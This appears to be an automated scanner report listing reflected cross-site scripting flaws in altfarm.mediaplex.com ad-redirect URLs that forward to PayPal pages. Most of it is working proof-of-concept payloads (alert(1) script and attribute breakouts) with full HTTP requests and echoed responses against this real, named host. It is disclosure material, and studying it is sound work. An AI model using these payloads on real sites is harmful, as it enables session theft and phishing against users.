Report generated by XSS.CX at Thu Nov 04 16:56:22 CDT 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-185/x22/x3ePayPal [name of an arbitrarily supplied request parameter]

1.2. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-185/x22/x3ePayPal [name of an arbitrarily supplied request parameter]

1.3. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-186/x22/x3eDeveloper [name of an arbitrarily supplied request parameter]

1.4. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-186/x22/x3eDeveloper [name of an arbitrarily supplied request parameter]

1.5. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-187/x22/x3ePayPal [name of an arbitrarily supplied request parameter]

1.6. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-187/x22/x3ePayPal [name of an arbitrarily supplied request parameter]

1.7. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-188/x22/x3ePayPal [name of an arbitrarily supplied request parameter]

1.8. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-188/x22/x3ePayPal [name of an arbitrarily supplied request parameter]

1.9. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [crlp parameter]

1.10. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [crlp parameter]

1.11. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [kw parameter]

1.12. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [kw parameter]

1.13. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [mplx parameter]

1.14. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [mplx parameter]

1.15. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [name of an arbitrarily supplied request parameter]

1.16. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [name of an arbitrarily supplied request parameter]

1.17. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [crlp parameter]

1.18. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [crlp parameter]

1.19. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [kw parameter]

1.20. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [kw parameter]

1.21. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [mplx parameter]

1.22. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [mplx parameter]

1.23. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [name of an arbitrarily supplied request parameter]

1.24. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-93 [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 24 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-185/x22/x3ePayPal [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-185/x22/x3ePayPal

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 99be5"-alert(1)-"70c7206a8b1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-185/x22/x3ePayPal?99be5"-alert(1)-"70c7206a8b1=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 685
Date: Mon, 01 Nov 2010 21:52:47 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://student.paypal.com/us/cgi-bin/marketingweb?cmd=_render-content&content_ID=marketing_us/student_accounts&99be5"-alert(1)-"70c7206a8b1=1&mpch=ads");
//-->
...[SNIP]...

1.2. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-185/x22/x3ePayPal [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-185/x22/x3ePayPal

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa79f"><script>alert(1)</script>9fdb567b44 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-185/x22/x3ePayPal?aa79f"><script>alert(1)</script>9fdb567b44=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 727
Date: Mon, 01 Nov 2010 21:52:47 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://student.paypal.com/us/cgi-bin/marketingweb?cmd=_render-content&content_ID=marketing_us/student_accou
...[SNIP]...
<meta http-equiv="refresh" content="0;URL=https://student.paypal.com/us/cgi-bin/marketingweb?cmd=_render-content&content_ID=marketing_us/student_accounts&aa79f"><script>alert(1)</script>9fdb567b44=1&mpch=ads">
...[SNIP]...

1.3. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-186/x22/x3eDeveloper [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-186/x22/x3eDeveloper

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70885"-alert(1)-"d2b2d7c609b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-186/x22/x3eDeveloper?70885"-alert(1)-"d2b2d7c609b=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 436
Date: Mon, 01 Nov 2010 21:52:47 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("http://paypal-xinnovate.com/?70885"-alert(1)-"d2b2d7c609b=1&mpch=ads");
//-->
</script>
<noscript>
<meta htt
...[SNIP]...

1.4. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-186/x22/x3eDeveloper [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-186/x22/x3eDeveloper

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc012"><script>alert(1)</script>e8b5861783c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-186/x22/x3eDeveloper?cc012"><script>alert(1)</script>e8b5861783c=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 481
Date: Mon, 01 Nov 2010 21:52:48 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("http://paypal-xinnovate.com/?cc012"><script>alert(1)</script>e8b5861783c=1&mpch=ads");
//-->
</script>
<nosc
...[SNIP]...
<meta http-equiv="refresh" content="0;URL=http://paypal-xinnovate.com/?cc012"><script>alert(1)</script>e8b5861783c=1&mpch=ads">
...[SNIP]...

1.5. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-187/x22/x3ePayPal [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-187/x22/x3ePayPal

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15728"-alert(1)-"5b6858c9c0d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-187/x22/x3ePayPal?15728"-alert(1)-"5b6858c9c0d=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 667
Date: Mon, 01 Nov 2010 21:52:48 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://merchant.paypal.com/cgi-bin/marketingweb?cmd=_render-content&content_ID=merchant/wp_pro&nav=2.1.1&15728"-alert(1)-"5b6858c9c0d=1&mpch=ads");
//-->
...[SNIP]...

1.6. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-187/x22/x3ePayPal [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-187/x22/x3ePayPal

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f98f5"><script>alert(1)</script>55be595245a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-187/x22/x3ePayPal?f98f5"><script>alert(1)</script>55be595245a=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 712
Date: Mon, 01 Nov 2010 21:52:48 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://merchant.paypal.com/cgi-bin/marketingweb?cmd=_render-content&content_ID=merchant/wp_pro&nav=2.1.1&f9
...[SNIP]...
<meta http-equiv="refresh" content="0;URL=https://merchant.paypal.com/cgi-bin/marketingweb?cmd=_render-content&content_ID=merchant/wp_pro&nav=2.1.1&f98f5"><script>alert(1)</script>55be595245a=1&mpch=ads">
...[SNIP]...

1.7. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-188/x22/x3ePayPal [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-188/x22/x3ePayPal

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bff9"><script>alert(1)</script>8db66fb4698 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-188/x22/x3ePayPal?8bff9"><script>alert(1)</script>8db66fb4698=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 691
Date: Mon, 01 Nov 2010 21:52:48 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://merchant.paypal.com/us/cgi-bin/?&cmd=_render-content&content_ID=merchant/merchant_accounts&8bff9"><s
...[SNIP]...
<meta http-equiv="refresh" content="0;URL=https://merchant.paypal.com/us/cgi-bin/?&cmd=_render-content&content_ID=merchant/merchant_accounts&8bff9"><script>alert(1)</script>8db66fb4698=1&mpch=ads">
...[SNIP]...

1.8. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-188/x22/x3ePayPal [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-188/x22/x3ePayPal

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ceb88"-alert(1)-"cd4d3628754 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-188/x22/x3ePayPal?ceb88"-alert(1)-"cd4d3628754=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 646
Date: Mon, 01 Nov 2010 21:52:49 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://merchant.paypal.com/us/cgi-bin/?&cmd=_render-content&content_ID=merchant/merchant_accounts&ceb88"-alert(1)-"cd4d3628754=1&mpch=ads");
//-->
...[SNIP]...

1.9. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [crlp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-85

Issue detail

The value of the crlp request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7e3af"-alert(1)-"d700b5638a3 was submitted in the crlp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-85?kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&crlp=3855255758/x227e3af"-alert(1)-"d700b5638a3 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 976
Date: Mon, 01 Nov 2010 21:53:07 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&crlp=3855255758/x227e3af"-alert(1)-"d700b5638a3&mpch=ads");
//-->
...[SNIP]...

1.10. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [crlp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-85

Issue detail

The value of the crlp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7255"><script>alert(1)</script>6b85ed7129e was submitted in the crlp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-85?kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&crlp=3855255758/x22c7255"><script>alert(1)</script>6b85ed7129e HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1021
Date: Mon, 01 Nov 2010 21:53:07 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_
...[SNIP]...
w.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&crlp=3855255758/x22c7255"><script>alert(1)</script>6b85ed7129e&mpch=ads">
...[SNIP]...

1.11. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [kw parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-85

Issue detail

The value of the kw request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9ae0b"-alert(1)-"7d2fc852d6d was submitted in the kw parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-85?kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_38552557589ae0b"-alert(1)-"7d2fc852d6d&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&crlp=3855255758/x22 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 976
Date: Mon, 01 Nov 2010 21:52:57 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_38552557589ae0b"-alert(1)-"7d2fc852d6d&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&crlp=3855255758/x22&mpch=ads");
//-->
...[SNIP]...

1.12. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [kw parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-85

Issue detail

The value of the kw request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3cc2d"><script>alert(1)</script>34648b08a6b was submitted in the kw parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-85?kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_38552557583cc2d"><script>alert(1)</script>34648b08a6b&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&crlp=3855255758/x22 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1021
Date: Mon, 01 Nov 2010 21:52:56 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_
...[SNIP]...
<meta http-equiv="refresh" content="0;URL=https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_38552557583cc2d"><script>alert(1)</script>34648b08a6b&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&crlp=3855255758/x22&mpch=ads">
...[SNIP]...

1.13. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [mplx parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-85

Issue detail

The value of the mplx request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 805e4"-alert(1)-"0ca46f7b68e was submitted in the mplx parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-85?kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758805e4"-alert(1)-"0ca46f7b68e&crlp=3855255758/x22 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 976
Date: Mon, 01 Nov 2010 21:53:02 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758805e4"-alert(1)-"0ca46f7b68e&crlp=3855255758/x22&mpch=ads");
//-->
...[SNIP]...

1.14. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [mplx parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-85

Issue detail

The value of the mplx request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1397"><script>alert(1)</script>5377da2bf66 was submitted in the mplx parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-85?kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758e1397"><script>alert(1)</script>5377da2bf66&crlp=3855255758/x22 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1021
Date: Mon, 01 Nov 2010 21:53:01 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_
...[SNIP]...
nt="0;URL=https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&kw=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758&mplx=AGID_US_GSR1_TM_PPGNGen_PH_Head_KWID_KYWD_ADID_3855255758e1397"><script>alert(1)</script>5377da2bf66&crlp=3855255758/x22&mpch=ads">
...[SNIP]...

1.15. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-85

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 972aa"-alert(1)-"4d4437f8eb4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/ck/3484-98128-2056-85?972aa"-alert(1)-"4d4437f8eb4=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 553
Date: Mon, 01 Nov 2010 21:52:49 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&972aa"-alert(1)-"4d4437f8eb4=1&mpch=ads");
//-->
...[SNIP]...

1.16. http://altfarm.mediaplex.com/ad/ck/3484-98128-2056-85 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/ck/3484-98128-2056-85

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a021"><script>alert(1)</script>74c3c589904 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/ck/3484-98128-2056-85?7a021"><script>alert(1)</script>74c3c589904=1 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: svid=OPT-OUT;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 598
Date: Mon, 01 Nov 2010 21:52:49 GMT

<html><head><title></title>
<script language="JavaScript1.1">
<!--
window.location.replace("https://www.paypal.com/cgi-bin/marketingweb?cmd=_home-general&nav=0&7a021"><script>alert(1)</script>74c3c589
...[SNIP]...
